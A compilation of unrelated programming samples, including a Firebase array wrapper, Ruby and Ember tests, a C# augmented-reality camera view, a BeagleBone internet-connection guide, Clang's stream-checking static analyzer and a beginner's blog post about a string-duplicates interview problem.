FirebaseArray

*/

export class FirebaseArray {
  ref: Firebase;
  error: any;
  list: Array;

  constructor(ref: Firebase) {
    this.ref = ref;
    this.list = [];

    // listen for changes at the Firebase instance
    this.ref.on('child_added', this.created.bind(this), this.error);
    this.ref.on('child_moved', this.moved.bind(this), this.error);
    this.ref.on('child_changed', this.updated.bind(this), this.error);
    this.ref.on('child_removed', this.removed.bind(this), this.error);

    // determine when initial load is completed
    // ref.once('value', function() { resolve(null); }, resolve);

  }

  getItem(recOrIndex: any) {
    var item = recOrIndex;
    if(typeof(recOrIndex) === "number") {
      item = this.getRecord(recOrIndex);
    }
    return item;
  }

  getChild(recOrIndex: any) {
    var item = this.getItem(recOrIndex);
    return this.ref.child(item._key);
  }

  add(rec: any) {
    this.ref.push(rec);
  }

  remove(recOrIndex: any) {
    this.getChild(recOrIndex).remove();
  }

  save(recOrIndex: any) {
    var item = this.getItem(recOrIndex);
    this.getChild(recOrIndex).update(item);
  }

  keyify(snap) {
    var item = snap.val();
    item._key = snap.key();
    return item;
  }

  created(snap) {
    debugger;
    var addedValue = this.keyify(snap);
    this.list.push(addedValue);
  }

  moved(snap) {
    var key = snap.key();
    this.spliceOut(key);
  }

  updated(snap) {
    var key = snap.key();
    var indexToUpdate = this.indexFor(key);
    this.list[indexToUpdate] = this.keyify(snap);
  }

  removed(snap) {
    var key = snap.key();
    this.spliceOut(key);
  }

  bulkUpdate(items) {
    this.ref.update(items);
  }

  spliceOut(key) {
    var i = this.indexFor(key);
    if( i > -1 ) {
      return this.list.splice(i, 1)[0];
    }
    return null;
  }

  indexFor(key) {
    var record = this.getRecord(key);
    return this.list.indexOf(record);
  }

  getRecord(key) {
    return this.list.find((item) => key === item._key);
  }

}


text:
=======
Credits
=======

Development Lead
----------------

* Maghesree Chakraborty <m.chakraborty@rochester.edu>

Contributors
------------

None yet. Why not be the first?


text:
ENV["RACK_ENV"] ||= "development"
$LOAD_PATH.unshift(File.dirname(__FILE__))
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), ".."))
require 'bundler'
Bundler.require(:default, ENV["RACK_ENV"])

Dir["./config/initializers/**/*.rb"].each { |file| require file }


text:
require 'spec_helper'

describe Gitlab::GithubImport::MarkdownText do
  describe '.format' do
    it 'formats the text' do
      author = double(:author, login: 'Alice')
      text = described_class.format('Hello', author)

      expect(text).to eq("*Created by: Alice*\n\nHello")
    end
  end

  describe '#to_s' do
    it 'returns the text when the author was found' do
      author = double(:author, login: 'Alice')
      text = described_class.new('Hello', author, true)

      expect(text.to_s).to eq('Hello')
    end

    it 'returns the text with an extra header when the author was not found' do
      author = double(:author, login: 'Alice')
      text = described_class.new('Hello', author)

      expect(text.to_s).to eq("*Created by: Alice*\n\nHello")
    end
  end
end


text:
<!DOCTYPE html>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Redemption via the Dirty Dancing Duo of For Loops</title>
    <link rel="icon" type="image/ico" href="/images/favicon.ico">
    <link rel="stylesheet" href="//fonts.googleapis.com/css?family=Source+Sans+Pro:300,300i,600">
    <link href="/resources/font-awesome/css/font-awesome.min.css" rel="stylesheet">
    <link rel="stylesheet" href="/style.css">
    <link rel="alternate" type="application/rss+xml" title="RSS Feed for Vy" href="/feed.xml" />

Vy

Software Engineer in San Francisco

    Vy

Redemption via the Dirty Dancing Duo of For Loops

    <time>13 Jul 2015</time>

Approximately 4 1/2 weeks ago I was presented with a algorithm that nearly broke me. I was doing my technical interview at a highly sought after coding bootcamp here in San Francisco. I was pummelled when I received the following algorithm: write a function that takes a string as an argument and returns an array of all the repeated characters.

This may seem simple to many of you reading this, but you need to understand I've only been learning code for a few months. Although I've always loved math and other logically-minded curriculum, I have always been shit at puzzles and these "easy" level coding problems.

I started sweating sorrow-shaped bullets when my interviewer asked me this. All I could think of were memories of opening coderbyte.com and <timidly>attempting</woefully> these puzzles from hell. It took me hours to half-solve one. In the interview, I could barely write anything down. Not even pseudo code. All I could think was that my answer was gonna be the wrong one or the most expensive in time complexity (like the highly looked-down-upon triple for-loop). Needless to say I left the interview feeling quite defeated.
</p>

Fast-forward a bit: I'm now currently enrolled in that academy's partner school across The Bay (and loving it). But today we had an assessment, and one of the things we were tested on was (you guessed it) algorithms! Oh, and THAT SAME ONE I totally bombed. My first thought was "Well I know I'm going to fail that one again." I probably shouldn't have come at it so negatively.

Ok, now to the fun part: I totally solved it! I'm not even sure if I solved it in the most efficient way, but hey at least it works. Again, this may not be the most optimal (in one way or another) and more experienced coders might have another approach.

I've had a few engineer friends of mine remind me about data structures and the unique ways they store data. A key thing that has helped me (on several occasions) throughout coding in Javascript has been remembering that an object's keys are always strings and they're always unique.

When searching for duplicates in a string, I assigned each character as a key in an empty object and kept a count by making its value equal to a number. 1 makes sense, but since indexes start at 0, I'm more inclined to make the count start at 0. Also, as each key is assigned, I checked to see if it already exists on the object. If that character already exists on the object, its value is incremented by one. So by the time the string is finally looped through, every character has been accounted for.

Next, I created an empty array to push duplicates into and return. Then in a for-in loop (yes I know, that Dirty-Double-for-loop, cue the Dirty Dancing theme song), search for any values that are greater than or equal to 1 and push its corresponding key into the array. Then be polite, and return what you borrowed… the array, that is.

![_config.yml](/images/find_dups.png)

</timidly>

Please enable JavaScript to view the comments powered by Disqus.


text:
import { moduleFor, test } from 'ember-qunit';

moduleFor('controller:authors', 'Unit | Controller | authors', {
  // Specify the other units that are required for this test.
  // needs: ['controller:foo']
});

// Replace this with your real tests.
test('it exists', function(assert) {
  let controller = this.subject();
  assert.ok(controller);
});


text:
import dom from 'js/utils/dom';

export const appendCSS = css => {
  dom
    .create('style')
    .html(css)
    .appendTo(dom.get('head'));
};

export const getCSS = name => {
  const url = chrome.runtime.getURL(`/dist/css/${name}.css`);
  return fetch(url).then(response => response.text());
};

export default name =>
  new Promise(resolve => {
    getCSS(name)
      .then(appendCSS)
      .then(resolve);
  });


text:
using AugmentedSzczecin.Converters;
using AugmentedSzczecin.Events;
using AugmentedSzczecin.Models;
using AugmentedSzczecin.UserControls;
using Caliburn.Micro;
using Microsoft.Maps.SpatialToolbox;
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using System.Threading.Tasks;
using Windows.Devices.Enumeration;
using Windows.Devices.Geolocation;
using Windows.Devices.Sensors;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.Graphics.Display;
using Windows.Media.Capture;
using Windows.UI.Core;
using Windows.UI.Popups;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;

namespace AugmentedSzczecin.Views
{
    public sealed partial class AugmentedView : Page, IHandle<PointOfInterestLoadedEvent>, IHandle<PointOfInterestLoadFailedEvent>
    {
        private Compass _compass;
        private Geolocator _gps;

        private uint _movementThreshold = 100;
        private double _angleOfView = 45.0;

        private Geopoint _currentLocation = null;
        private double _currentHeading = 0;

        private ObservableCollection<PointOfInterest> _poiLocations;
        readonly object _eventAgg;
        public AugmentedView()
        {
            InitializeComponent();

            _eventAgg = IoC.GetInstance(typeof(IEventAggregator), null);
            ((EventAggregator)_eventAgg).Subscribe(this);
        }

        ~AugmentedView()
        {
            ((EventAggregator)_eventAgg).Unsubscribe(this);
        }
        private async Task StartCamera()
        {
            var mediaCapture = new MediaCapture();
            (App.Current as App)._mediaCapture = mediaCapture;;
            var cameraId = await FindRearFacingCamera();
            if (!string.IsNullOrEmpty(cameraId))
            {
                var settings = new MediaCaptureInitializationSettings();
                settings.VideoDeviceId = cameraId;
                settings.StreamingCaptureMode = StreamingCaptureMode.Video;
                await mediaCapture.InitializeAsync(settings);
                PreviewScreen.Source = mediaCapture;
                await mediaCapture.StartPreviewAsync();
            }
        }

        private async void StopCamera()
        {
            if (PreviewScreen.Source != null)
            {
                await PreviewScreen.Source.StopPreviewAsync();
                PreviewScreen.Source.Dispose();
                PreviewScreen.Source = null;
            }
        }

        private async Task<string> FindRearFacingCamera()
        {
            var devices = await DeviceInformation.FindAllAsync(DeviceClass.VideoCapture);

            var device = (from d in devices
                          where d.EnclosureLocation != null &&
                                d.EnclosureLocation.Panel == Windows.Devices.Enumeration.Panel.Back
                          select d).FirstOrDefault();

            if (device == null)
            {
                device = (from d in devices
                          where d.Name.ToLower().Contains("back") ||
                                d.Id.ToLower().Contains("back") ||
                                d.Name.ToLower().Contains("rear") ||
                                d.Id.ToLower().Contains("rear")
                          select d).FirstOrDefault();
            }

            if (device != null)
            {
                return device.Id;
            }

            return null;
        }

        private void UpdateARView()
        {
            if (_currentLocation != null)
            {
                ItemCanvas.Children.Clear();

                if (_poiLocations != null && _poiLocations.Count > 0)
                {
                    var currentCoord = new Coordinate(_currentLocation.Position.Latitude,
                        _currentLocation.Position.Longitude);

                    foreach (var poi in _poiLocations)
                    {
                        if (Math.Abs(poi.Location.Latitude) > 90 || Math.Abs(poi.Location.Longitude) > 180)
                        {
                            continue;
                        }
                        var poiCoord = new Coordinate(poi.Location.Latitude, poi.Location.Longitude);
                        var poiHeading = SpatialTools.CalculateHeading(currentCoord, poiCoord);
                        var diff = _currentHeading - poiHeading;

                        if (diff > 180)
                        {
                            diff = _currentHeading - (poiHeading + 360);
                        }
                        else if (diff < -180)
                        {
                            diff = _currentHeading + 360 - poiHeading;
                        }

                        if (Math.Abs(diff) <= (_angleOfView / 2))
                        {
                            var distance = SpatialTools.HaversineDistance(currentCoord, poiCoord, DistanceUnits.Meters);

                            double left = 0;

                            if (diff > 0)
                            {
                                left = ItemCanvas.ActualWidth / 2 * (((_angleOfView / 2) - diff) / (_angleOfView / 2));
                            }
                            else
                            {
                                left = ItemCanvas.ActualWidth / 2 * (1 + -diff / (_angleOfView / 2));
                            }

                            double top = (ItemCanvas.ActualHeight - 90) * (1 - distance / RadiusSlider.Value) + 45;

                            var converter = new CategoryToPinSignConverter();
                            var symbol = (Symbol) converter.Convert(poi.Category, null, null, null);
                            var pin = new ArPin() { PinSign = symbol, PinDist = ((int)distance).ToString() };

                            Canvas.SetLeft(pin, left - 32);
                            Canvas.SetTop(pin, top - 45);
                            ItemCanvas.Children.Add(pin);
                        }
                    }
                }
            }
        }

        protected async override void OnNavigatedTo(NavigationEventArgs e)
        {
            base.OnNavigatedTo(e);
            DisplayInformation.AutoRotationPreferences = DisplayOrientations.Landscape;
            await StartCamera();

            _compass = Compass.GetDefault();
            if (_compass != null)
            {
                _compass.ReadingChanged += CompassReadingChanged;
                CompassChanged(_compass.GetCurrentReading());
            }

            _gps = new Geolocator();
            _gps.MovementThreshold = _movementThreshold;
            _gps.PositionChanged += GpsPositionChanged;

            if (_gps.LocationStatus == PositionStatus.Ready)
            {
                var pos = await _gps.GetGeopositionAsync();
                if (pos != null && pos.Coordinate != null && pos.Coordinate.Point != null)
                {
                    GpsChanged(pos.Coordinate.Point.Position);
                }
            }
        }

        protected override void OnNavigatedFrom(NavigationEventArgs e)
        {
            _compass.ReadingChanged -= CompassReadingChanged;
            _gps.PositionChanged -= GpsPositionChanged;
            StopCamera();
            DisplayInformation.AutoRotationPreferences = DisplayOrientations.Portrait;
            base.OnNavigatedFrom(e);
        }

        private void CompassReadingChanged(Compass sender, CompassReadingChangedEventArgs args)
        {
            var reading = sender.GetCurrentReading();
            CompassChanged(reading);
        }

        private async void CompassChanged(CompassReading reading)
        {
            await Dispatcher.RunAsync(CoreDispatcherPriority.Normal, () =>
            {
                if (reading.HeadingAccuracy != MagnetometerAccuracy.High)
                {
                    CompassCalibration.Visibility = Windows.UI.Xaml.Visibility.Visible;
                }
                else
                {
                    CompassCalibration.Visibility = Windows.UI.Xaml.Visibility.Collapsed;
                    _currentHeading = reading.HeadingMagneticNorth + 90;
                    UpdateARView();
                }

            });
        }

        private void GpsPositionChanged(Geolocator sender, PositionChangedEventArgs args)
        {
            if (args.Position != null && args.Position.Coordinate != null && args.Position.Coordinate.Point != null)
            {
                GpsChanged(args.Position.Coordinate.Point.Position);
            }
        }

        private async void GpsChanged(BasicGeoposition position)
        {
            await Dispatcher.RunAsync(CoreDispatcherPriority.Normal, () =>
            {
                _currentLocation = new Geopoint(new BasicGeoposition() { Latitude = position.Latitude, Longitude = position.Longitude });
                UpdateARView();
            });
        }

        public async void Handle(PointOfInterestLoadedEvent e)
        {
            await Dispatcher.RunAsync(CoreDispatcherPriority.Normal, () =>
            {
                _poiLocations = e.PointOfInterestList;
                PoiCount.Text = _poiLocations.Count.ToString();
            });
        }

        public void Handle(PointOfInterestLoadFailedEvent e)
        {
            var msg = new MessageDialog(e.PointOfInterestLoadException.Message);
            msg.ShowAsync();
        }
    }
}


text:
=begin

1. Create method that will convert the integer into a string.
2. Check to see if string has more than 3 characters.
3. If so reverse string add a comma and iterate through every character.
4. Add a comma after every 3 characters (use counter), Just add the character if couter hasnt reached 3 or a multiple of 3, print
string if less than or equal to 3 characters.
5. Print variable as string reversed to screen.

=end

# 1. Initial Solution

def separate_comma(integer)

	integer_string = integer.to_s

	count = 1

	new_integer = String.new

	if integer_string.length <= 3

		return integer_string

	else

		integer_string.reverse.split("").each do |s|

			if count == integer_string.length

				new_integer += s

			elsif count%3 == 0

				new_integer << "#{s},"

			else

				new_integer += s

			end

			count += 1
		end

		return new_integer.reverse

	end

end

# 2. Refactored Solution

def separate_comma_refactored(integer)

return integer.to_s.reverse.gsub(/(\d{3})(?=\d)/, '\\1,').reverse

end

# 3. Reflection

=begin

What was your process for breaking the problem down? What different approaches did you consider?

I broke the problem down into parts. First manipulating the integer so I could check every digit and then going through every digit and
finding the right spot to introduce the comma. I considered building an array and adding a "," after each slot
divisible by 3.

Was your pseudocode effective in helping you build a successful initial solution?

Yes very, helped me to jump straight into coding with little to no re analyzing.

What Ruby method(s) did you use when refactoring your solution? What difficulties did you have implementing it/them? Did it/they significantly change the way your code works? If so, how?

I used gsub, which was very dificult to implement and significantly changed my code but not really in the way it works.

How did you initially iterate through the data structure?

Yes I did.

Do you feel your refactored solution is more readable than your initial solution? Why?

Not really but because im not familiar with the method.

=end


text:
package org.apache.solr.client.solrj.io.eval;

import java.io.IOException;
import java.util.List;
import java.util.Locale;
import org.apache.solr.client.solrj.io.stream.expr.StreamExpression;
import org.apache.solr.client.solrj.io.stream.expr.StreamFactory;

public class NotEvaluator extends RecursiveBooleanEvaluator implements OneValueWorker {
  protected static final long serialVersionUID = 1L;

  public NotEvaluator(StreamExpression expression, StreamFactory factory) throws IOException {
    super(expression, factory);

    if (containedEvaluators.size() < 1) {
      throw new IOException(
          String.format(
              Locale.ROOT,
              "Invalid expression %s - expecting at least one value but found %d",
              expression,
              containedEvaluators.size()));
    }
  }

  @Override
  protected Checker constructChecker(Object value) throws IOException {
    return null;
  }

  @Override
  public Object doWork(Object... values) throws IOException {
    if (1 != values.length) {
      throw new IOException(
          String.format(Locale.ROOT, "Expecting 1 value but found %d", values.length));
    }

    return doWork(values[0]);
  }

  @Override
  public Object doWork(Object value) {
    if (null == value) {
      return null;
    } else if (value instanceof List) {
      return ((List<?>) value).stream().map(innerValue -> doWork(innerValue));
    } else {
      // we know it's a boolean
      return !((Boolean) value);
    }
  }
}


text:
In this section we will tell you how to connect a beaglebone to the Internet.
There are three possibilities how to achieve this goal.

### Via lan (easy)

1. Connect an ethernet cable with your beagle bone and the other end with your router.
2. You're done.

### Via a bridged wireless lan (not that easy)

__Requirements:__
* a computer which is connected via WIFI to the Internet
* a free Ethernet Port and a ethernet cable

1. On the host computer (the computer whose Internet connection you plan to share) open the network connections by navigating to the controll panel. In the search box, type adapter, and then, under Network and Sharing Center, click View network connections.
2. Select your WIFI and your LAN adapter by holding CTRL and clicking on both.
3. Right click on the second and choose "Bridge Connection"
4. Connect an ethernet cable with your beagle bone and the other end with your computer.
5. You're done

### Via Eduroam wireless lan (not easy at all)

__Step 0__
```bash
apt-get install wpasupplicant
```

__Step 1__

* Login as root
* Create a file `/etc/wpa_supplicant/wpa_supplicant.conf`
* Type the following parameters:

```
ctrl_interface=/var/run/wpa_supplicant
network={
   scan_ssid=1
   ssid="eduroam"
   key_mgmt=WPA-EAP
   eap=PEAP
   identity="xyz1234@students.fhv.at"
   password="XXXXXX"
   ca_cert="/etc/ssl/certs/AddTrust_Extern_Root.pem"
   phase1="peaplabel=0"
   phase2="auth=MSCHAPV2"
}
```

__Step 2__

Run the command:

```bash
wpa_supplicant -i $WLAN -D wext -c /etc/wpa_supplicant/wpa_supplicant.conf&
```

__Note:__

* Instead of $WLAN type your interface name.
* To view the name type iwconfig
* Wait until the authentication has been finished.
* To receive an IP address type: dhclient

To view if you are connected type:

```bash
ifconfig -a
```

__Or use script from FHV__

Download it from: [https://inside.fhv.at/pages/viewpage.action?pageId=54198344](https://inside.fhv.at/pages/viewpage.action?pageId=54198344)

```bash
chmod +x eduroam-linux-Fachhochschule_Vorarlberg.sh
./eduroam-linux-Fachhochschule_Vorarlberg.sh
wpa_supplicant -i wlan0 -D wext -c /root/.eduroam/eduroam.conf&
```

### Via usb cable

This method creates a default route on the beaglebone which can cause errors with other networks!
Try an other solution first!

1. Connect to your bone via SSH
2. Enter the following:
	```bash
	ifconfig usb0 192.168.7.2
	route add default gw 192.168.7.1
	echo "nameserver 8.8.8.8" >> /etc/resolv.conf
	```
3. On your computer:
  * running Linux:
```bash
sudo su
#eth0 is my internet facing interface, eth3 is the BeagleBone USB connection
ifconfig eth3 192.168.7.1
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface eth3 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
	* running Windows: follow this [Tutorial](http://windows.microsoft.com/en-us/windows/set-internet-connection-sharing#1TC=windows-7) change the IP adress of your USB-Networkadapter to the old "172.168.7.1"
4. You're done

## Reflash BBB

* [Download Image (that works with WLAN-Dongle)](http://debian.beagleboard.org/images/BBB-eMMC-flasher-debian-7.4-2014-04-23-2gb.img.xz).
* Follow this instructions to copy image to an SD-Card.
* Insert SD-Card when BBB is unplugged
* Press following button and plugin BBB with a smartphone-charger (more power than PC)

![Boot-Switch button](appendix/img/flash-button.jpeg)

* Keep holding down the button until you see the bank of 4 LED's light up for a few seconds. You can now release the button.
* Wait about 25-45min while the BBB will be flashed
* Once it's done, the bank of 4 LED's to the right of the Ethernet will all stay lit up at the same time. You can then power down your BeagleBone Black and remove SD-Card.

The appropriate linux-headers can be found [here](http://rcn-ee.net/deb/wheezy-armhf/v3.8.13-bone47/linux-headers-3.8.13-bone47_1.0wheezy_armhf.deb).

Detailed information can be found [here](https://learn.adafruit.com/beaglebone-black-installing-operating-systems/overview).


text:
using namespace clang;
using namespace ento;
using namespace std::placeholders;

namespace {

struct StreamState {
  enum Kind { Opened, Closed, OpenFailed, Escaped } K;

  StreamState(Kind k) : K(k) {}

  bool isOpened() const { return K == Opened; }
  bool isClosed() const { return K == Closed; }
  //bool isOpenFailed() const { return K == OpenFailed; }
  //bool isEscaped() const { return K == Escaped; }

  bool operator==(const StreamState &X) const { return K == X.K; }

  static StreamState getOpened() { return StreamState(Opened); }
  static StreamState getClosed() { return StreamState(Closed); }
  static StreamState getOpenFailed() { return StreamState(OpenFailed); }
  static StreamState getEscaped() { return StreamState(Escaped); }

  void Profile(llvm::FoldingSetNodeID &ID) const {
    ID.AddInteger(K);
  }
};

class StreamChecker : public Checker<eval::Call,
                                     check::DeadSymbols > {
  mutable std::unique_ptr<BuiltinBug> BT_nullfp, BT_illegalwhence,
      BT_doubleclose, BT_ResourceLeak;

public:
  bool evalCall(const CallEvent &Call, CheckerContext &C) const;
  void checkDeadSymbols(SymbolReaper &SymReaper, CheckerContext &C) const;

private:
  using FnCheck = std::function<void(const StreamChecker *, const CallEvent &,
                                     CheckerContext &)>;

  CallDescriptionMap<FnCheck> Callbacks = {
      {{"fopen"}, &StreamChecker::evalFopen},
      {{"freopen", 3}, &StreamChecker::evalFreopen},
      {{"tmpfile"}, &StreamChecker::evalFopen},
      {{"fclose", 1}, &StreamChecker::evalFclose},
      {{"fread", 4},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 3)},
      {{"fwrite", 4},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 3)},
      {{"fseek", 3}, &StreamChecker::evalFseek},
      {{"ftell", 1},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"rewind", 1},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"fgetpos", 2},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"fsetpos", 2},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"clearerr", 1},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"feof", 1},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"ferror", 1},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
      {{"fileno", 1},
       std::bind(&StreamChecker::checkArgNullStream, _1, _2, _3, 0)},
  };

  void evalFopen(const CallEvent &Call, CheckerContext &C) const;
  void evalFreopen(const CallEvent &Call, CheckerContext &C) const;
  void evalFclose(const CallEvent &Call, CheckerContext &C) const;
  void evalFseek(const CallEvent &Call, CheckerContext &C) const;

  void checkArgNullStream(const CallEvent &Call, CheckerContext &C,
                          unsigned ArgI) const;
  bool checkNullStream(SVal SV, CheckerContext &C,
                       ProgramStateRef &State) const;
  void checkFseekWhence(SVal SV, CheckerContext &C,
                        ProgramStateRef &State) const;
  bool checkDoubleClose(const CallEvent &Call, CheckerContext &C,
                        ProgramStateRef &State) const;
};

} // end anonymous namespace

REGISTER_MAP_WITH_PROGRAMSTATE(StreamMap, SymbolRef, StreamState)

bool StreamChecker::evalCall(const CallEvent &Call, CheckerContext &C) const {
  const auto *FD = dyn_cast_or_null<FunctionDecl>(Call.getDecl());
  if (!FD || FD->getKind() != Decl::Function)
    return false;

  // Recognize "global C functions" with only integral or pointer arguments
  // (and matching name) as stream functions.
  if (!Call.isGlobalCFunction())
    return false;
  for (auto P : Call.parameters()) {
    QualType T = P->getType();
    if (!T->isIntegralOrEnumerationType() && !T->isPointerType())
      return false;
  }

  const FnCheck *Callback = Callbacks.lookup(Call);
  if (!Callback)
    return false;

  (*Callback)(this, Call, C);

  return C.isDifferent();
}

void StreamChecker::evalFopen(const CallEvent &Call, CheckerContext &C) const {
  ProgramStateRef state = C.getState();
  SValBuilder &svalBuilder = C.getSValBuilder();
  const LocationContext *LCtx = C.getPredecessor()->getLocationContext();
  auto *CE = dyn_cast_or_null<CallExpr>(Call.getOriginExpr());
  if (!CE)
    return;

  DefinedSVal RetVal =
      svalBuilder.conjureSymbolVal(nullptr, CE, LCtx, C.blockCount())
          .castAs<DefinedSVal>();
  state = state->BindExpr(CE, C.getLocationContext(), RetVal);

  ConstraintManager &CM = C.getConstraintManager();
  // Bifurcate the state into two: one with a valid FILE* pointer, the other
  // with a NULL.
  ProgramStateRef stateNotNull, stateNull;
  std::tie(stateNotNull, stateNull) = CM.assumeDual(state, RetVal);

  SymbolRef Sym = RetVal.getAsSymbol();
  assert(Sym && "RetVal must be a symbol here.");
  stateNotNull = stateNotNull->set<StreamMap>(Sym, StreamState::getOpened());
  stateNull = stateNull->set<StreamMap>(Sym, StreamState::getOpenFailed());

  C.addTransition(stateNotNull);
  C.addTransition(stateNull);
}

void StreamChecker::evalFreopen(const CallEvent &Call,
                                CheckerContext &C) const {
  ProgramStateRef State = C.getState();

  auto *CE = dyn_cast_or_null<CallExpr>(Call.getOriginExpr());
  if (!CE)
    return;

  Optional<DefinedSVal> StreamVal = Call.getArgSVal(2).getAs<DefinedSVal>();
  if (!StreamVal)
    return;
  // Do not allow NULL as passed stream pointer.
  // This is not specified in the man page but may crash on some system.
  checkNullStream(*StreamVal, C, State);
  // Check if error was generated.
  if (C.isDifferent())
    return;

  SymbolRef StreamSym = StreamVal->getAsSymbol();
  // Do not care about special values for stream ("(FILE *)0x12345"?).
  if (!StreamSym)
    return;

  // Generate state for non-failed case.
  // Return value is the passed stream pointer.
  // According to the documentations, the stream is closed first
  // but any close error is ignored. The state changes to (or remains) opened.
  ProgramStateRef StateRetNotNull =
      State->BindExpr(CE, C.getLocationContext(), *StreamVal);
  // Generate state for NULL return value.
  // Stream switches to OpenFailed state.
  ProgramStateRef StateRetNull = State->BindExpr(CE, C.getLocationContext(),
                                                 C.getSValBuilder().makeNull());

  StateRetNotNull =
      StateRetNotNull->set<StreamMap>(StreamSym, StreamState::getOpened());
  StateRetNull =
      StateRetNull->set<StreamMap>(StreamSym, StreamState::getOpenFailed());

  C.addTransition(StateRetNotNull);
  C.addTransition(StateRetNull);
}

void StreamChecker::evalFclose(const CallEvent &Call, CheckerContext &C) const {
  ProgramStateRef State = C.getState();
  if (checkDoubleClose(Call, C, State))
    C.addTransition(State);
}

void StreamChecker::evalFseek(const CallEvent &Call, CheckerContext &C) const {
  const Expr *AE2 = Call.getArgExpr(2);
  if (!AE2)
    return;

  ProgramStateRef State = C.getState();

  bool StateChanged = checkNullStream(Call.getArgSVal(0), C, State);
  // Check if error was generated.
  if (C.isDifferent())
    return;

  // Check the legality of the 'whence' argument of 'fseek'.
  checkFseekWhence(State->getSVal(AE2, C.getLocationContext()), C, State);

  if (!C.isDifferent() && StateChanged)
    C.addTransition(State);

  return;
}

void StreamChecker::checkArgNullStream(const CallEvent &Call, CheckerContext &C,
                                       unsigned ArgI) const {
  ProgramStateRef State = C.getState();
  if (checkNullStream(Call.getArgSVal(ArgI), C, State))
    C.addTransition(State);
}

bool StreamChecker::checkNullStream(SVal SV, CheckerContext &C,
                                    ProgramStateRef &State) const {
  Optional<DefinedSVal> DV = SV.getAs<DefinedSVal>();
  if (!DV)
    return false;

  ConstraintManager &CM = C.getConstraintManager();
  ProgramStateRef StateNotNull, StateNull;
  std::tie(StateNotNull, StateNull) = CM.assumeDual(C.getState(), *DV);

  if (!StateNotNull && StateNull) {
    if (ExplodedNode *N = C.generateErrorNode(StateNull)) {
      if (!BT_nullfp)
        BT_nullfp.reset(new BuiltinBug(this, "NULL stream pointer",
                                       "Stream pointer might be NULL."));
      C.emitReport(std::make_unique<PathSensitiveBugReport>(
          *BT_nullfp, BT_nullfp->getDescription(), N));
    }
    return false;
  }

  if (StateNotNull) {
    State = StateNotNull;
    return true;
  }

  return false;
}

void StreamChecker::checkFseekWhence(SVal SV, CheckerContext &C,
                                     ProgramStateRef &State) const {
  Optional<nonloc::ConcreteInt> CI = SV.getAs<nonloc::ConcreteInt>();
  if (!CI)
    return;

  int64_t X = CI->getValue().getSExtValue();
  if (X >= 0 && X <= 2)
    return;

  if (ExplodedNode *N = C.generateNonFatalErrorNode(State)) {
    if (!BT_illegalwhence)
      BT_illegalwhence.reset(
          new BuiltinBug(this, "Illegal whence argument",
                         "The whence argument to fseek() should be "
                         "SEEK_SET, SEEK_END, or SEEK_CUR."));
    C.emitReport(std::make_unique<PathSensitiveBugReport>(
        *BT_illegalwhence, BT_illegalwhence->getDescription(), N));
  }
}

bool StreamChecker::checkDoubleClose(const CallEvent &Call, CheckerContext &C,
                                     ProgramStateRef &State) const {
  SymbolRef Sym = Call.getArgSVal(0).getAsSymbol();
  if (!Sym)
    return false;

  const StreamState *SS = State->get<StreamMap>(Sym);

  // If the file stream is not tracked, return.
  if (!SS)
    return false;

  // Check: Double close a File Descriptor could cause undefined behaviour.
  // Conforming to man-pages
  if (SS->isClosed()) {
    ExplodedNode *N = C.generateErrorNode();
    if (N) {
      if (!BT_doubleclose)
        BT_doubleclose.reset(new BuiltinBug(
            this, "Double fclose", "Try to close a file Descriptor already"
                                   " closed. Cause undefined behaviour."));
      C.emitReport(std::make_unique<PathSensitiveBugReport>(
          *BT_doubleclose, BT_doubleclose->getDescription(), N));
    }
    return false;
  }

  // Close the File Descriptor.
  State = State->set<StreamMap>(Sym, StreamState::getClosed());

  return true;
}

void StreamChecker::checkDeadSymbols(SymbolReaper &SymReaper,
                                     CheckerContext &C) const {
  ProgramStateRef State = C.getState();

  // TODO: Clean up the state.
  const StreamMapTy &Map = State->get<StreamMap>();
  for (const auto &I: Map) {
    SymbolRef Sym = I.first;
    const StreamState &SS = I.second;
    if (!SymReaper.isDead(Sym) || !SS.isOpened())
      continue;

    ExplodedNode *N = C.generateErrorNode();
    if (!N)
      continue;

    if (!BT_ResourceLeak)
      BT_ResourceLeak.reset(
          new BuiltinBug(this, "Resource Leak",
                         "Opened File never closed. Potential Resource leak."));
    C.emitReport(std::make_unique<PathSensitiveBugReport>(
        *BT_ResourceLeak, BT_ResourceLeak->getDescription(), N));
  }
}

void ento::registerStreamChecker(CheckerManager &mgr) {
  mgr.registerChecker<StreamChecker>();
}

bool ento::shouldRegisterStreamChecker(const LangOptions &LO) {
  return true;
}


text:
package br.com.objectos.way.it.xls;

import br.com.objectos.way.on.On;
import br.com.objectos.way.xls.Header;
import br.com.objectos.way.xls.XlsRow;

/**
 * @author Marcio Endo
 */
@On
abstract class SheetC implements XlsRow {

  @Header("String")
  abstract String stringValue();

  SheetC() {
  }

}


text:
<!doctype html public "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">

    <title>PHPXRef 0.7.1 : Unnamed Project : Variable Reference: $urls</title>
    <link rel="stylesheet" href="../sample.css" type="text/css">
    <link rel="stylesheet" href="../sample-print.css" type="text/css" media="print">

    <meta http-equiv="content-type" content="text/html;charset=iso-8859-1">

            [ Index ]

PHP Cross Reference of Unnamed Project

[ Show Explorer ]
[ Hide Navbar ]

